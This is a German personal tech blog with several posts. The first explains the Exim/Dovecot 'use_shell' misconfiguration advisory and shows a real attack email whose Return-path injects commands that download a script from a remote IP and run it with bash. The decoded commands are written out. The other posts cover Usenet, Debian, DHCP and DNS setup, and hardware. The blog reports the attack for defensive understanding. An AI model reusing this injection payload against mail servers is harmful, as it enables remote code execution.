Aus dem Leben eines Szlauszafs - Bits'n'Bytes

Vom Advisory zum Exploit binnen eines Tages

thh@inter.net (Thomas Hochstein) — Sun, 05 May 2013 11:29:31 +0200

Am Freitag, dem dritten Mai, wurde ein Warnhinweis (Advisory) auf eine weit verbreitete Fehlkonfiguration in der Kombination von Exim mit Dovecot publiziert: ein offenbar seit 23.10.2009 im Dovecot-Wiki veröffentliches Konfigurationsbeispiel für Exim, mit dem eingehende E-Mails durch den zu Dovecot gehörenden LDA deliver ausgeliefert werden sollen, enthielt auch die Option “use_shell”, die dazu führt, dass der Aufruf insgesamt zur Ausführung an die Shell weitergegeben wird. Das is potentiell unsicher, wie auch die Exim-Dokumentation erläutert:

Not running the command under a shell (by default) lessens the security risks in cases when a command from a users filter file is built out of data that was taken from an incoming message. If a shell is required, it can of course be explicitly specified as the command to be run. However, there are circumstances where existing commands (for example, in .forward files) expect to be run under a shell and cannot easily be modified. To allow for these cases, there is an option called use_shell, which changes the way the pipe transport works. Instead of breaking up the command line as just described, it expands it as a single string and passes the result to /bin/sh. The restrict_to_path option and the $pipe_addresses facility cannot be used with use_shell, and the whole mechanism is inherently less secure.

Wenn es jemandem gelingt, ausführbaren Code in diesen Aufruf einzuschleusen, kann er fremden Code mit den Rechten von Exim ausführen, die im Moment der Auslieferung von Mail mit dem LDA deliver bestenfalls Zugriff auf alle Mailboxen ermöglichen und bei leichtsinniger Konfiguration - die im Dovecot-Wiki als eine Konfigurationsmöglichkeit ausdrücklich genannt wird! - schlimmstenfalls sogar root sind. Und dieses Einschleusen ist ausgesprochen einfach, enthält der Aufruf von deliver doch u.a. den Absender der E-Mail, den sog. Envelope-From (oder auch Return-Path), bspw. so:

command = /usr/local/libexec/dovecot/dovecot-lda -d $local_part@$domain -f $sender_address

$sender_address ist hier der problematische Parameter, denn diesen Parameter kann der Absender der E-Mail frei setzen. Durch die Option use_shell wird der obige Aufruf nach Ersatz der Variablen ohne jede Modifikation komplett an die Shell übergeben und ggf. entsprechender Code ausgeführt.

Am 02.05.2013 wurde das Beispiel im Wiki für Dovecot 1.x und auch in der Dokumentation für Dovecot 2.x berichtigt, am 03.05.2013 wurde das Advisoy veröffentlicht.

Und schon am Abend des Folgetages flog mir auf einem meiner Server folgende - ansonsten notwendige Header und vor allen auch einen Inhalt nicht enthaltende - E-Mail zu, die das Beispiel für einen Exploit aus dem Advisory abgewandelt übernommen hat:

Return-path: <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`team@example.com>
Envelope-to: postmaster@greenmeadow.szaf.org
Delivery-date: Sat, 04 May 2013 21:57:19 +0200
Received: from [178.218.211.118] (helo=abcde.com)
    by greenmeadow.szaf.org with esmtp (Exim 4.72)
    (envelope-from <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`team@example.com>)
    id 1UYia4-000387-Es
    for postmaster@greenmeadow.szaf.org; Sat, 04 May 2013 21:57:19 +0200
Subject: test

Die oben gezeigte problematische Konfiguration würde dann dazu führen, dass bei der Auslieferung der Mail die beiden folgenden Befehle mit den Rechten des Mailservers ausgeführt würden:

wget 178.218.211.118/b -O /tmp/a.pl
bash /tmp/a.pl

Es würde also die Datei b von der Maschine heruntergeladen und in der Datei a.pl im Verzeichnis /tmp gespeichert und dann ausgeführt.

Glücklicherweise verwende ich zwar sowohl Exim als auch Dovecot, aber in einer anderen Konfiguration, so dass dieser Versuch eines Exploits kein Problem darstellte, aber man merkt einmal wieder, wie schnell nahc der Veröffentlichung von Advisories man von solchen Versuchen, bestehende Programm- oder Konfigurationsfehler auszunutzen, betroffen wird.

(Als ich mich damit näher beschäftigt habe, war die o.g. Datei übrigens bereits nicht mehr aufrufbar.)

Landroval - ein neuer Laptop

thh@inter.net (Thomas Hochstein) — Sun, 17 Jul 2011 18:06:48 +0200

Landroval sieht neben allem anderen auch noch gut aus.

Es war mal wieder Zeit für eine Erneuerung im hiesigen Rechnerpark, und so habe ich mir nach längerem Überlegen einen neuen Laptop gegönnt, der den gut drei Jahre alten Vorgänger ablösen soll - und gestern wurde er geliefert und ist mittlerweile schon fast vollständig eingerichtet.

In gewisser Weise ist das ein Novum - ich glaube nämlich, es ist das erste Mal, daß ein Gerät drei Jahre gehalten hat, ohne in irgendeiner Weise auszufallen. Der Vorgänger des jetzt in den Ruhestand geschickten Rechners hat nach ziemlich genau drei Jahren (wohl aufgrund einer Beschädigung am Mainboard) begonnen, regelmäßig einzufrieren, der Vor-Vorgänger wurde nach nur einem Jahr Opfer meiner Ungeschicklichkeit und eines noch recht vollen Glases guten Weins, und dessen Vorgänger wiederum zeigte nach gut vier Jahren sehr intensiver Nutzung massive Abnutzungen an der Hardware (gebrochene Displayscharniere und andere unschöne Dinge), außerdem entsprach er natürlich nicht mehr dem aktuellen Stand der Technik.

Und das ist auch direkt das passende Stichwort: auch wenn der bisherige Laptop “noch gut war”, der neue ist viel besser. Eine flinkere CPU, mehr Speicher, ein aktuelles Betriebssystem, die eingebaute UMTS-Karte und sogar ein nicht nur großer - im Sinne von “breit” -, sondern auch ausreichend hoher Bildschirm machen beim Arbeiten wieder mehr Freude.

Entschieden habe ich mich erneut für einen Thinkpad (ehemals IBM, jetzt seit Jahren schon von Lenovo) entschlossen, diesmal einen T520 mit einigen Extras, und zum ersten Mal mit Windows 7 in der 64bit-Variante als Betriebssystem. Die beiden Vorgänger waren zwar auch Thinkpads (T61 und R52), liefen aber noch unter Windows XP. In der Namensgebung habe ich mich am bisherigen Schema orientiert, nachdem meine privaten Rechner in der Regel Namen aus Tolkiens Werk, ersatzweise generische Bezeichnungen, erhalten (tragbare Rechner: Vögel oder Insekten, Desktops: Drachen).

Auf meiner Homepage findet sich eine Übersicht der derzeit in Betrieb befindlichen Rechner (und deren Vorgänger) mit den technischen Daten.

Goodbye, news.t-online.de

thh@inter.net (Thomas Hochstein) — Sun, 10 Apr 2011 16:23:00 +0200

news.t-online.de: "peering termination"

thh@inter.net (Thomas Hochstein) — Mon, 07 Mar 2011 13:37:38 +0100

Wie ich bereits berichtete, will T-Online den Newsserverbetrieb zum Monatsende einstellen. Entsprechende Informationen gingen jetzt zwar immer noch nicht an die Benutzer und Kunden, aber immerhin an die Peers (also die Betreiber der Newsserver, die Postings mit news.t-online.de austauschen):

To: [...]
Subject: peering termination newsfeedXX.sul.t-online.de
From: T-Online Newsmaster [...]
Date: Mon, 07 Mar 2011 10:00:09 +0100
User-Agent: Mutt/1.5.20 (2009-06-14)

Hi,

German Telekom has decided to end its usenet service

news.t-online.de/news.t-online.com

Therefore all usenet peerings will be terminated end of March 2011.

We advise you to remove T-Online (newsfeedXX.sul.t-online.de) from your configuration by 31st of March.

Thank you for peering with us over the years.

Bye,
newsmaster[...]

Mit diesen dürren Worten endet also eine Ära ...

Alternativen für die Nutzer von news.t-online.de

thh@inter.net (Thomas Hochstein) — Tue, 22 Feb 2011 21:59:00 +0100

T-Online verabschiedet sich vom Usenet

thh@inter.net (Thomas Hochstein) — Sat, 19 Feb 2011 10:30:11 +0100

... oder: Ein Tod auf Raten.

T-Online war - unbeschadet verschiedener Ein- und Ausgliederungen und Umbenennungen - lange Jahre ein besonderer Provider. Nicht nur, weil man immer etwas teurer war (und ist) als der Rest; nicht nur, weil die Technik etwas zuverlässiger, der Support etwas kompetenter war (oder wirkte?), man war m.W. der einzige große und jedenfalls der letzte mir bekannte relevante Anbieter, der sich für den Kundensupport eine eigene Usenet-Hierarchie hielt: t-online.*, betreut von einem ausgesprochen kompetenten und überdurchschnittlich netzaffinen Team von Mitarbeitern, dem sagenumwobenen T-Online-Team. In mühevoller Kleinarbeit wurden neben den weithin bekannten Kommunikationskanälen (Hotline, T-Punkt, etc.) wichtige Informationen weitergegeben, FAQs zusammengestellt und nicht zuletzt auch Anfragen und Probleme von einzelnen Nutzern bearbeitet; dieses Wissen, notfalls einen kompetenten Ansprechpartner erreichen zu können, der auch wirklich erreichbar ist, der sich tatsächlich um mein Anliegen kümmert und entsprechende Rückmeldung gibt, war lange Jahre der ausschlaggebende Grund für mich, einen anderen Anbieter gar nicht erst in Betracht zu ziehen. Dazu kam die besondere Gabe, die Balance zu halten zwischen offizieller Kundenkommunikation und persönlichen Smalltalk im Netz, eine offensichtlich über Jahre und Jahrzehnte gewachsene Kenntnis der Materie und der Umgansgformen im Netz und ein wenn möglich augenzwinkernd-scherzhafter, wenn nötig aber auch knallharter Ton - sozusagen das Optimum des User-to-User-Supports, den man in Newsgroups und Foren erwartet, aber mit kompetenten Profis, die von “innen” kommen und vor allem auch Zugriff auf die notwendigen Daten und interne Kontakte zur Weitergabe der Anliegen an die richtigen Stellen haben.

Über die Jahre konnte man dann schon Änderungen spüren: Offenbar gab es Zugriff auf immer weniger interne Systeme, zunehmend konnten Fragen von Nutzern nicht direkt beantwortet, sondern diese nur noch an die Hotline verwiesen werden - aber immerhin mit konkreten Hinweisen, was man dem Mitarbeiter dort am besten sagen solle. Zunehmend hatte man auch den Eindruck, daß die Kontakte nach innen schlechter wurden, interne Weitergaben von Nutzeranliegen nicht mehr den unmittelbaren Erfolg aus früheren Zeiten nach sich zogen. Parallel wurden dann Supportforen im Web aufgebaut, die dasselbe Team betreute, die aber vom Handling selbst für ein Webforum erstaunlich schlecht nutzbar waren und die natürlichen nicht mehr den besonderen Geist der Newsgroups atmeten.

Ende 2009 dann der Paukenschlag: Die internen Newsgroups von T-Online werden zugunsten der Supportforen geschlossen. Ein harter Schlag, ein schwerer Abschied - wie sich herausstellte offenbar nicht nur für die verbliebenen Nutzer, denn vor allem die Mitarbeiter mussten offenbar gehen. Die vorletzte offizielle Verlautbarung möchte ich hier kurz dokumentieren:

Liebe Nutzerinnen und Nutzer der t-online.*-Newsgroups,

leider müssen wir Euch mitteilen, dass diese Newsgroups in Kürze
geschlossen werden. Der geplante Termin ist Montag, der 30.11.2009.

Selbstverständlich könnt Ihr auch weiterhin Fragen zu allen Themen
rund um die Internet-Dienste der Telekom stellen und Euch wie gewohnt
an regen Diskussionen mit unseren Moderatoren und anderen Usern
beteiligen. Hierzu bieten wir über das Hilfe-Portal der Telekom unsere
Service-Foren an. Diese sind auf der Seite <http://hilfe.telekom.de/>
unter > Kontakt > Service-Foren integriert und über den folgenden URL
direkt erreichbar:

<http://www.t-online.de/foren>

Der Hintergrund für diese Maßnahme ist, dass wir die qualitativ hoch-
wertigen Diskussionen und Hilfestellungen, die in den Newsgroups
einerseits und den Service-Foren andererseits stattfinden, zukünftig
nicht weiter zerstückeln und allen unseren Kunden zugänglich machen
wollen. - Außerdem möchten wir natürlich auch den Aufwand für die
doppelte Moderation reduzieren.

Der Newsserver der Telekom wird selbstverständlich weiter betrieben,
Ihr müsst also keine Änderungen an Eurem Newsreader vornehmen:
Alle anderen Newsgroups werden auch weiterhin bereitgestellt.

Für Eure persönliche Unterstützung in zahlreichen Diskussionen hier
in den Newsgroups, die in weiten Teilen sehr zur Verbesserung unserer
Produkte beigetragen haben, bedanken wir uns herzlich und würden uns
sehr freuen, dieses konstruktive Miteinander auch in den Service-Foren
gemeinsam fortzusetzen.

Vielen Dank für Euer Verständnis.

Herzliche Grüße
Euer T-Home-Team

(Hervorhebung von mir.)

Und nun, knappe anderthalb Jahre später, tritt das ein, was damals schon befürchtet wurde: auf die Schließung der internen Newsgroups folgt die Abschaltung des Newsservers (bzw. der Newsserverfarm). Auf den Hilfeseiten der Telekom kann man nun lesen:

Da die Bedeutung des Usenet als Kommunikationsplattform in den letzten Jahren stark abgenommen hat - v. a. zugunsten von Foren - wird die Telekom den bisher für unsere Kunden betriebenen Newsserver news.t-online.de voraussichtlich zum 31.03.2011 abschalten.

Eine Information der Nutzer ist offenbar nicht vorgesehen - es gibt ja auch keine passenden Newsgroups mehr ... (Nein, das ist nicht der Grund; eine Information per E-Mail wäre möglich, sogar gezielt nur an diejenigen Nutzer, die den Newsserver bereits mindestens einmal genutzt haben, denn darüber bestehen Aufzeichnungen - schließlich erfolgt bei der Erstnutzung eine Begrüßung per E-Mail, was zwingend voraussetzt, daß gespeichert wird, ob der betreffende Account den Newsserver schon einmal benutzt hat.) Danke daher für den Hinweis in de.comm.provider.t-online!

Man muß sich das vorstellen: der seit vielen, vielen Jahren von der Nutzer- bzw. Beitragsanzahl im deutschsprachigen Usenet zweitgrößte Server wird abgeschaltet, nachdem man vorher den über gut 10 Jahre bewährten Support beendet hat. Das ist nicht nur ein schwerer Schlag für das deutschsprachige Usenet, das ist vor allem in Zeiten, in denen Unternehmen zunehmend das “social web” und die Wichtigkeit nicht-offizieller Supportkanäle für “Power-User” (über Twitter, Facebook und Co.) erkennen, um positive Multiplikatoren zu gewinnen, für mich kaum nachvollziehbar.

Debian 6.0 Squeeze ist released

thh@inter.net (Thomas Hochstein) — Sun, 06 Feb 2011 18:36:00 +0100

Seit diesem Wochenende steht jetzt - wie geplant und angekündigt - die aktuelle und brandneue Debian-Version 6.0 “Squeeze” zur Verfügung. Der Release-Prozess war in diesem Jahr nicht nur von einer Vielzahl von Release-Parties, sondern auch von einer fortlaufenden Berichterstattung via Twitter bzw. identi.ca begleitet.

Mein neuer Rechner läuft bekanntlich bereits unter Debian Squeeze; mit den Updates der bestehenden Server werde ich hingegen noch ein wenig warten, bis möglicherweise bestehende Probleme erkannt und behoben sind, Erfahrungen von anderen Updatern vorliegen, ich wieder über ein größeres Budget an freier Zeit verfüge und mal ein Wochenende für eventuell notwendig werdende Reparaturen zur Verfügung habe.

Doch Debian hat nicht nur released - man hat die Gelegenheit genutzt und auch direkt den Webseiten ein neues Gesicht gegeben, also den lange geplanten und vorbereiteten Relaunch pünktlich zum Release-Wochenende umgesetzt.

Vereinzelte DSL-Einwahlprobleme am Wochenende

thh@inter.net (Thomas Hochstein) — Mon, 31 Jan 2011 07:30:00 +0100

Mein DSL-Anbieter teilte gestern abend mit:

Aufgrund einiger Kundenanfragen wurden wir auf vereinzelte DSL-Einwahl-Probleme zu uns aufmerksam gemacht. Dies betraf allerdings nur einen kleinen Teil unserer DSL-Kunden (ca. 5%), so dass wir hier erst genauer analysieren mussten, da kein generelles Problem vorlag.

Laut derzeitigem Kenntnis- und Analysestand gab es im Laufe des gestrigen Abends und heutigen Tages eine Störung der Weiterleitung der DSL-Einwahl-Anfragen einiger (nicht aller) Kunden von der T-Com zu uns (was allerdings noch unbestätigt ist). Dies betraf jedoch nicht bestehende DSL-Sitzungen (sprich wenn Sie bereits eingewählt waren).

Ob Ihr Zugang betroffen war oder nicht, können wir leider technisch bedingt an dieser Stelle nicht zutreffend sagen, dieses Mailing erhalten Sie daher vorsorglich.

Doch, doch - das traf schon einen der Richtigen. Aber jetzt kann ich immerhin beruhigt festhalten, daß das Problem nicht bei der häuslichen Einwahltechnik lag - und das ganze Debugging für die Katz war.

Kaum macht man es richtig, schon funktioniert es!

thh@inter.net (Thomas Hochstein) — Sat, 29 Jan 2011 17:21:46 +0100

Dieser Tage stellte ich fest, daß mein Newsserver offensichtlich keine Steuernachrichten mehr ausführt. Aber warum bloß?

Die Rücknahme einiger jüngerer Änderungen - die sicherstellen sollten, daß die Steuernachrichten nicht nur ausgeführt, sondern mir auch gemailt werden (mit Dank an den Widder!) - brachte keine Lösung. Also bin ich zu systematischen Debugging übergegangen; dank fehlenden Loggings anhand des Einstreuens von Ausgabeanweisungen in eine Kopie des zuständigen Scripts (controlchan). Stunden später[tm] stellte sich dann als Ursache ... ein Bedienerfehler heraus (wie immer). Wenn man Steuernachrichten für eine bestimmte Hierarchie verwerfen will, dann sollte man den Namen der Hierarchie nicht nur als Kommentar in die control.ctl eintragen, sondern für den entsprechenden Eintrag auch ein Muster wie “hierarchie.*” verwenden. “*” alleine führt nicht zum erwünschten Ergebnis (sondern zum Verwerfen aller Steuernachrichten für alle Hierarchien).

Gib Gas, das macht Spaß!

thh@inter.net (Thomas Hochstein) — Fri, 28 Jan 2011 07:16:00 +0100

Als wir vor einigen Jahren unsere neue Wohnung bezogen haben, fiel mir die Sorge um den Telekommunikationsanschlussfragen zu. Damals an einem Wohnort die spurtstarke Leistung eines DSL-1000-Anschlusses gewohnt und am anderen immerhin mit DSL-2000 verwöhnt stellte sich zu meiner großen Freude heraus, daß am neuen Wohnsitz neben VDSL in allen Arten auch DSL-6000 und DSL-16000 verfügbar waren. Nachdem ich ein Freund des Verbleibs beim rosa Riesen bin, war ein passender Tarif schnell gebucht (die inbegriffene Festnetzflatrate, mit der ich selbst wenig anfangen kann, hat sich mittlerweile übrigens auch als segensreich erwiesen ... mehr sage ich dazu jetzt nicht ), und nach einigen kleineren Schwierigkeiten *räusper* war dann auch technisch und organisatorisch alles im grünen Bereich. Einziges Manko: Die nach der Online-Verfügbarkeitsprüfung angeblich bereitstehende 16.000er-Anbindung konnte man nicht schalten - aber 6.000 ist ja immer noch mehr als 2.000.

So genossen wir - beide keine großen “Sauger” - die letzten Jahre das stabile Surfvergnügen, bis ich dieser Tage einmal im Rahmen der diversen Erledigungen auch einen Abstecher zum Kundencenter machte, um mir einen Überblick über die zur Verfügung stehenden neuen Tarife und anderen Optionen zu machen. Höchst erfreut konnte ich dabei dann feststellen, daß es mittlerweile möglich ist, ohne Tarifänderung und ohne Aufpreis die (im Tarif enthaltene, aber bei Einzug nicht zur Verfügung stehende) 16.000er-Leitung zu schalten. Das habe ich dann auch direkt beauftragt, eine Auftragsbestätigung für einen Schalttermin in einigen Wochen erhalten, die kurz darauf auch schriftlich bestätigt wurde ... und dann die Angelegenheit prompt wieder vergessen.

Bis mir heute morgen wieder einfiel, daß der Umschalttermin eigentlich schon um sein müßte. Und was soll ich sagen?

Speedtest von wieistmeineip.de

Wir sind jetzt im Geschwindigkeitsrausch.

isc-dhcpd, Windows-7-Clients und kein DHCP?

thh@inter.net (Thomas Hochstein) — Sat, 22 Jan 2011 08:42:00 +0100

Manche Dinge muß man nicht verstehen - und sie sind auch furchtbar schwer einzugrenzen.

Man stelle sich folgende Situation vor:

Ein Netzwerk, in dem ein Server (Debian Squeez) und ein Desktop (WinXP) stehen, außerdem ein WLAN-Accesspoint, über den zwei Laptops (einmal WinXP, einmal Win7) an das Netz angebunden sind. Auf dem Server läuft ein isc-dhcpd, also der DHCP-Server des ISC, der die Clients mit IP-Adressen versorgt. Beide Rechner, die unter Windows XP laufen, bekommen problemlos DHCP-Leases, und alles ist gut.

Jetzt kommt der Rechner unter Windows 7 hinzu - und nichts geht mehr. Nicht nur, daß der Rechner keine IP-Adresse zugewiesen bekommt; auch der andere, über WLAN angebundene Laptop verliert während dieser Versuche, per DHCP eine Adresse zu bekommen, reproduzierbar die Verbindung zum Server, so daß SSH-Verbindungen abbrechen und die DNS-Auflösung nicht mehr funktioniert. Andere bestehende Verbindungen von diesem XP-Laptop aus bleiben aber bestehen. Im Log des DHCP-Servers spielen der Win7-Client und der Server Pingpong mit DHCPDISCOVER und DHCPOFFER, kommen aber nie weiter zu DHCPREQUEST und DHCPACK, d.h. der Client fragt nach einer IP-Adresse, er bekommt eine angeboten, registriert das aber nicht und wiederholt seine Anfrage ad nauseam.

Nach langem Lesen und Probieren wird als Probe aufs Exempel ein weiterer Laptop mit Win7 ins Netz gebracht, um auszuschließen, daß das Problem beim Laptop liegt - und tatsächlich, auch dieser Rechner bekommt per DHCP keine IP-Adresse zugewiesen! Das Problem ist also offenbar ein generelles.

Googeln wird bei diesem Thema dadurch erschwert, daß es haufenweise Treffer gibt, die aber im wesentlichen alle mit diesem Problem nichts zu tun haben und oft nur die Unkenntnis der Beteiligten über DHCP, Windows und diverse andere Gegenstände erkennbar machen. *seufz*

Hätte jemand zu diesem Problem auf Anhieb einen Lösungsansatz gehabt? (Außer dem Mitschneiden des Netzwerkverkehrs zwischen dem Client und dem nicht-funktionsfähigen DHCP-Server im Vergleich zum Verkehr zwischen dem Client und einem funktionierenden Server.)

Die Lösung des Problems fand sich dann am Ende doch via Google (im Archiv einer Mailingliste der Greater New Hampshire Linux User Group) - und hat keine für mich erkennbare Verbindung zum Problem:

Es ist falsch, in der DHCP-Konfiguration das Statement server-identifier auf den Namen des DHCP-Servers zu setzen; dort muß offenbar entweder dessen IP-Adresse oder ein per DNS auflösbarer Hostname stehen (oder am besten gar nichts); den Namen des DHCP-Servers kann man stattdessen mittels server-name setzen. Wenn man diese Änderung in der Konfiguration des dhcpd vornimmt und ihn neu startet, ist urplötzlich alles gut ...

Keywords: DHCP isc-dhcpd Windows Seven Vista Win7 fail no lease no IP address problem

DHCP-Server und automatische DNS-Zone-Updates

thh@inter.net (Thomas Hochstein) — Fri, 21 Jan 2011 19:46:00 +0100

Für lokale Netze ist ein DHCP-Server eine nützliche Einrichtung, ermöglicht er doch die automatische Adreßvergabe. Die meisten Consumer-DSL-Router (und nicht nur diese) haben entsprechende Funktionalitäten eingebaut; noch schöner und flexibler ist es aber natürlich, selbst einen entsprechenden Dienst bereitzustellen, weil man ihn dann genau so konfigurieren kann, wie man ihn gerne hätte, um neben der automatischen Vergabe von IP-Adressen auch bestimmten Rechnern feste Adressen zuzuweisen und zugleich im internen Netz eine Namensauflösung zu organisieren.

Dafür bedarf es im Prinzip dreierlei:

Zunächst benötigt man einen DHCP-Server (dhcpd), bspw. den des ISC, der dann so konfiguriert werden muß, daß er die erwünschten Adressen an die Clients zuweist.
Dann benötigt man einen DNS-Server, bspw. den BIND des ISC, der dann so konfiguriert werden muß, daß er Namen im lokalen Netz zu IPs auflöst und umgekehrt lokale IPs zu den richtigen Namen.
Und letztlich muß man in einem zweiten Schritt die beiden so miteinander verheiraten, daß der DHCP-Server dem DNS-Server erzählt, welche IPs er an welche Maschinen dynamisch vergeben hat.

All das ist vergleichsweise einfach unter Debian möglich.

Im folgenden Beispiel gehe ich davon aus, daß das lokale Netz den IP-Bereich von 10.0.0.1-10.0.0.254 (10.0.0.1/24) umfassen soll und die Domain example.org verwendet wird. Der Host, auf dem DHCP- und DNS-Server laufen, heißt server.example.org und hat die (fest konfigurierte) IP-Adresse 10.0.0.1.

1. Installation und Einrichtung des DNS-Servers

aptitude -r install bind9

Die DNS-Zonen für das lokale Netz sollen später dynamische Updates zulassen; aufgrund der dann notwendigen Schreibrechte für den Benutzer bind auf diese Dateien darf man sie unter Debian nicht in /etc/bind/ anlegen, sondern im dafür vorgesehenen Verzeichnis /var/lib/bind. Also legen wir eine Zone-Datei /var/lib/bind/example.org für die Vorwärtsauflösung an, in der auch schon die Maschinen stehen, die feste IP-Adressen vergeben bekommen sollen:

$ORIGIN .
$TTL 604800     ; 1 week
example.org            IN SOA server.example.org. hostmaster.server.example.org. (
                                2011012101 ; serial
                                28800      ; refresh (8 hours)
                                7200       ; retry (2 hours)
                                604800     ; expire (1 week)
                                39600      ; minimum (11 hours)
                                )
                        NS      server.example.org.
$ORIGIN example.org.
server                  A       10.0.0.1
desktop                 A       10.0.0.11
laptop1                 A       10.0.0.21
laptop2                 A       10.0.0.22

Und dasselbe dann für die Rückwärtsauflösung:

$ORIGIN .
$TTL 604800     ; 1 week
0.0.10.in-addr.arpa            IN SOA server.example.org. hostmaster.server.example.org. (
                                2011012101 ; serial
                                28800      ; refresh (8 hours)
                                7200       ; retry (2 hours)
                                604800     ; expire (1 week)
                                39600      ; minimum (11 hours)
                                )
                        NS      server.example.org.
$ORIGIN 0.0.10.in-addr.arpa.
1            PTR    server.example.org.
11            PTR    desktop.example.org.
21            PTR    laptop1.example.org.
22            PTR    laptop2.example.org.

Jetzt werden die Zonen in die Nameserver-Konfiguration eingebunden, und zwar durch Anpassen der Datei /etc/bind/named.conf.local:

zone “example.org” {
type master;
file “/var/lib/bind/zone.example.org”;
};

zone “0.0.10.in-addr.arpa” {
type master;
file “/var/lib/bind/zone.10.0.0”;
};

Nach einem Reload der Zonen (rndc reload) sollte die Auflösung vor- und rückwärts funktionieren, was man mit host laptop1.example.org und dann mit host 10.0.0.21 testen kann.

2. Installation und Einrichtung des DHCP-Servers

aptitude -r install isc-dhcp-server

Nun ist /etc/dhcp/dhcpd.conf (ggf. nach Sicherung der Originaldatei) anzupassen:

server-name Server;

option domain-name “example.org”;
option subnet-mask 255.255.255.0;
option domain-name-servers 10.0.0.1; # der oder die DNS-Server

default-lease-time 86400; # 24 h
max-lease-time 172800; # 48 h

authoritative;

ignore client-updates;

subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.101 10.0.0.199; # DHCP-Adressen werden zwischen .101 und .199 vergeben
option broadcast-address 10.0.0.255;
option routers 10.0.0.200; # das Gateway ins Internet, bspw. der DSL-Router
}

Das genügt zunächst einmal; nach einem /etc/init.d/isc-dhcp-server restart sollte der DHCP-Dienst funktionieren und IP-Adressen zwischen 10.0.0.101 und 10.0.0.199 vergeben. Die vergebenen Adressen lassen sich unter /var/lib/dhcp/dhcpd.leases ersehen.

Im Logfile (standardmäßig /var/log/daemon.log) kann man die Vergabe der Leases verfolgen; dort ersieht man auch die MAC-Adressen der Hosts, die sich per DHCP Adressen holen. Mit Hilfe dieser MAC-Adressen kann man dann den Hosts, die feste Adressen per DHCP vergeben erhalten sollen (im Beispiel sind das desktop, laptop1 und laptop2), ebensolche zuweisen. Nehmen wir an, desktop hat die MAC-Adresse 00:30:05:5a:db:a0, dann müßte der entsprechende Eintrag in der /etc/dhcp/dhcpd.conf folgendermaßen lauten:

host desktop {
hardware ethernet 00:30:05:5a:db:a0;
fixed-address 10.0.0.11;
}

Nach einem erneuten Restart des DHCP-Servers wird desktop jetzt immer fest diese DHCP-Adresse zugewiesen bekommen.

3. Dynamische Aktualisierung der DNS-Zonen

Der letzte Schritt sorgt jetzt dafür, daß durch den DHCP-Server dynamisch vergebene Adressen (10.0.0.101-199) in den Zonen-Dateien des Nameservers mit dem entsprechenden Namen erfasst werden. Diese Updates kann man entweder durch jedes Programm, das auf dem Server läuft, erlauben, oder kryptographisch absichern. Ich stelle hier ersteres dar.

Die Konfiguration des DNS-Servers in /etc/bind/named.conf.local ist folgendermaßen zu ergänzen (fettgedruckt):

zone “example.org” {
type master;
file “/var/lib/bind/zone.example.org”;
allow-update { localhost; };
};

zone “0.0.10.in-addr.arpa” {
type master;
file “/var/lib/bind/zone.10.0.0”;
allow-update { localhost; };
};

Reloaden der Konfiguration nicht vergessen!

Die Konfiguration des DHCP-Servers in /etc/dhcp/dhcpd.conf ist folgendermaßen zu ergänzen (fettgedruckt):

[...]

ddns-update-style interim;
ignore client-updates;

subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.101 10.0.0.199; # DHCP-Adressen werden zwischen .101 und .199 vergeben
option broadcast-address 10.0.0.255;
option routers 10.0.0.200; # das Gateway ins Internet, bspw. der DSL-Router
ddns-domainname “gast.example.org”;

zone example.org. {
primary 127.0.0.1;
}

zone 0.0.10.in-addr.arpa. {
primary 127.0.0.1;
}
}

Restart des DHCP-Servers nicht vergessen!

Nunmehr wird die Maschine, die sich - bspw. - als gastnetbook meldet und eine IP möchtet, bspw. die IP 10.0.0.105 zugewiesen bekommen; in die Nameserver-Zonen werden jetzt entsprechende Einträge für 10.0.0.105 und gastnetbook.gast.example.org vorgenommen. Das erfolgt zunächst in Dateien, die den Namen der jeweiligen Zone plus die Endung “.jnl” (für “Journal”) tragen; regelmäßig werden aber auch die Zonendateien aktualisiert.

Manuelle Änderungen der DNS-Zonen dürfen dann nicht mehr ohne weiteres vorgenommen werden! Zunächst müssen die dynamischen Updates unterbrochen werden, danach kann man Änderungen vornehmen und die dynamischen Updates wieder starten:

rndc freeze example.org
vim /var/lib/bind/zone.example.org
rndc thaw example.org

oder

rndc freeze 0.0.10.in-addr.arpa
vim /var/lib/bind/zone.10.0.0
rndc thaw 0.0.10.in-addr.arpa

top ist gut, htop ist besser

thh@inter.net (Thomas Hochstein) — Fri, 21 Jan 2011 14:53:00 +0100

Bereits vor einiger Zeit hat mir das Bravszaf htop empfohlen, eine ~~graphische~~farbige Version des bekannten process viewers top, der die auf einem System laufenden Prozesse und weitere Informationen über die Ressourcenauslastung anzeigt. Inzwischen habe ich das auf mehreren Maschinen getestet und bin durchaus positiv beeindruckt.

Tip: Einfach mal ausprobieren.

Installation von Debian Squeeze

thh@inter.net (Thomas Hochstein) — Thu, 20 Jan 2011 22:47:00 +0100

Gestern schrieb ich schon, daß ich mal wieder wahrlich zu nichts komme (jedenfalls nicht zu den Sachen, die ich mir vorgenommen hatte) - daher mußte bislang auch die Einrichtung des neuen Rechners (die ich eigentlich in der ersten Woche des neuen Jahres abzuschließen hoffte) zurückstehen. Heute habe ich damit aber dann einmal - mit Unterstützung aus dem IRC - angefangen und ein Debian Squeeze (dessen Release ja unmittelbar bevorsteht) installiert. Da die Maschine per KVM-Switch an Monitor, Tastatur und Maus hängt, habe ich mich mittlerweile entschlossen, sie nicht nur als Server, sondern auch als Desktop zu nutzen, auch um einmal ein Gefühl dafür zu bekommen, wie sich ein Linux auf dem Desktop so anfühlt - denn obschon ich seit gut 10 Jahren mit Linux als Server-OS umgehen, arbeite ich auf dem Desktop immer noch unter Windows (zunehmend ergänzt um Tools aus der unixoiden Welt).

Aufgrund meiner bisher mangelnden Erfahrung mit der Installation eines Systems (ich kenne den Arbeitsgang in der Regel erst beginnend mit der Anpassung eines vom Provider aufgespielten Images und habe Erfahrung im wesentlichen mit dem Zugang via SSH, nicht mit der Arbeit an der Konsole ...) und der Tatsache, daß Debian für das bevorstehende Release alle nicht-freie Firmware aus dem main-Archiv entfernt hat, befürchtete ich erhebliche Probleme, schließlich sind mir aus den vorgenannten Gründen im weitesten Sinne hardwarenahe Arbeiten (Treiber, Kernel, Partitionierung von Platten, Auswahl des Filesystems und Einrichtung von RAID, LVM und Co.) nicht wirklich vertraut. Der Ablauf erwies sich aber als angenehm einfach.

